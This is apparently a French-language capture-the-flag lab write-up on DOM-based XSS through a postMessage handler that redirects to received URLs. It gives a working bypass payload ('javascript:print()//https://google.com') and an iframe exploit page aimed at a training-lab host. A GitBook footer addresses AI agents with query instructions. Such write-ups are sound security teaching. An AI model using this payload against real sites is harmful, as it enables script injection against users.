> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# XSS DOM via les messages Web et une URL JavaScript

### XSS DOM utilisant les messages Web et une URL JavaScript

Laboratoire démontrant une vulnérabilité DOM provoquant une redirection/exécution via `postMessage`. L'objectif : créer une page HTML sur le serveur d'exploitation qui envoie un message pour exécuter `print()` sur la page cible.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

La page cible écoute les messages publiés et traite les données reçues comme une URL. Si la chaîne reçue contient `HTTP:` ou `https:`, la page redirige (`location.href`) vers cette valeur. Le code côté cible est le suivant :

```javascript
window.postMessage('https://jord4n.pro', '*');
```

déclenche avec succès une redirection vers `https://jord4n.pro`.

<figure><img src="/files/5228233bd68b05342f6ea93b7631486313a735e7" alt=""><figcaption></figcaption></figure>

### Contournement de la validation

La validation bloque uniquement les chaînes qui ne contiennent pas `HTTP:` ou `https:` (vérification via `indexOf`). Le `indexOf > -1` est donc détourné en ajoutant une `//https://...` après un `JavaScript:` schéma afin que la condition soit remplie tout en conservant une URL commençant par `JavaScript:`. Par exemple :

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* Pour afficher une alerte :

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="/files/caf43feaa34fd35a9462c18d9727b30584e3b13a" alt=""><figcaption></figcaption></figure>

* Pour appeler `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

Le `//https://google.com` partie est uniquement utilisée pour satisfaire la `indexOf('https:') > -1` condition.

<figure><img src="/files/5b05625d04df65971de4996439b6f292f9bbc982" alt=""><figcaption></figcaption></figure>

#### Exploit final

La page d'attaque peut inclure un iframe vers la page vulnérable et, lors du chargement, envoyer le message malveillant au contenu intégré. Exemple d'implémentation à placer sur le serveur d'exploitation :

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="/files/dbe2dc1469062996add447574a0a9cf01a77ab83" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
